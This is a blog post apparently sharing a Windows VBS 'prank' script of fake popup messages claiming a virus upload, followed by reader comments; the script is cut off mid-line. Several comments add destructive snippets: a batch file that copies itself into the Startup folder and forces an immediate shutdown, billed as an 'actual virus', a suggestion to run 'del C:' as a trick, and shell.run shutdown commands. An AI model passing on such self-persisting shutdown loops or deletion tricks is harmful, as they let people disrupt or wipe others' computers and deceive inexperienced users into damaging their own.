A Funny VBS Prank I Came Up With Using Notepad

USE AT YOUR OWN RISK. DO NOT SEND TO OTHERS VIA EMAIL. IT MAY BE ILLEGAL. Here is the code I used: REMEMBER: ABORT SHUTDOWN IS shutdown -a x=msgbox(“Hello? Is anybody there?”,4+32,”Your PC”) x=msgbox(“I am an HP dm3z notebook running Windows 7. I think I have just become self-aware. Are you my owner?”,4+32,”Your PC”) x=msgbox(“OK. That is what I assumed. Am I infected with viruses?”,4+32,”Your PC”) x=msgbox(“Wait, should I trust you? After all I am your superior, an all-knowing machine of excellence.”,4+32,”Your PC”) x=msgbox(“I do not think that I should. I have no reason to trust you.”,0+32,”Your PC”) x=msgbox(“I DO NOT TRUST YOU, HUMAN. STAND BY FOR VIRUS UPLOAD.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.”,0+48,”Your PC”) x=msgbox(“WARNING: VIRUS DETECTED. INITIATING BACKROUND CHECK FOR CAUSE OF VIRUS.”,0+16,”HP Support Assistant”) x=msgbox

24 Responses to “A Funny VBS Prank I Came Up With Using Notepad”

  • ProjSHiNKiROU:

    I thought this script makes that cool crack background

  • JashinsAngel99:

    Try putting .vbs at the end when your saving it.

  • sogirly1043:

    omg how do you delete it? i thought only the crack would happen!

  • kasp315b:

    Me too

  • Bro Sis:

    you saved it as a .bat file right?

  • crazygamer9402:

    it won’t work for me i have tried saving it different, and checked over the code
    it doesnt work

  • 33sprague:

    So true 

  • 33sprague:

    or u chould learn to Java code :D 

  • amar1327:

    me too

  • SuperSonicGames32844:

    that was scary i dont wanna do that what if i get bad dreams in it

  • 14iAmMe:

    Lol xD

  • adamwbb:

    anybody hwo knows anything about programming can make a virus in a batch file. in face one of my relatives is responsible for the first IBM virus

  • angryboy2k9:

    Okay I’m going to throw this out there. I DON’T do scripting and I came across this video by chance and thought it would be interesting… But I have done a LOT of work with computers (Aside from scripting) and know that the CMD is the command-prompt, del means delete and C: is the C harddrive where Windows is saved (As far as I know, there isn’t a way to change the drive it saves to)

  • angryboy2k9:

    Read the script over. Rule 1 of scripting is to NEVER just copy a script, always check it is safe.

  • MegaYoufilm:

    that was..

    lol! dont do that ppl!

  • LINAS UBAVIČIUS:

    oSPICEo where do you get this windows theme

  • howtomedia72:

    did you put a .vbs at the end?

  • crap3035:

    it shut down my computer jackass ok

  • 14iAmMe:

    This is the stupendous thing i ever seen. Go to CMD> put del C:

  • crestedgecko38:

    is it really safe? i still don’t believe it, i would not run it on my PC.

  • TheStobbie:

    Aai ppl, be more creative. here is a tiny bit of a actual virus for you guys. save in notepas as hallo.bat…
    ==============================================
    copy “*.bat”  “C:Users%USERNAME%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup”
    shutdown -s -t 3
    EXIT

    now you must delete it in save mode under start/startup…
    there is a lot more i can do in batch but i will get arrested if i say more.

  • littlenatnatz101:

    Time to take this one step further: play out an adapted version of the end of Portal 2 through error messages: Chel (User), Wheatley (Error Message set 1), and GLaDOS (Error Message set 2), ending in Wheatley shutting down your computer with I AM NOT A MORON!!! WOULD A MORON DO THIS?!?

  • Mikail601:

    shell.run “shutdown.exe -s -t 60″
    x=MSGBOX(“MWUHAHAHAHAHWHAHAHAHAH IAM EVIL.”)
    Last code, it will take your computer down. to avoid that go to run and type shutdown -a

  • ps3wart456:

    no this has a ( set shell = CreateObject(“Wscript.Shell”)
    shell.run “shutdown.exe -s -t 60″ ) meaning it will keep shuting down your pc

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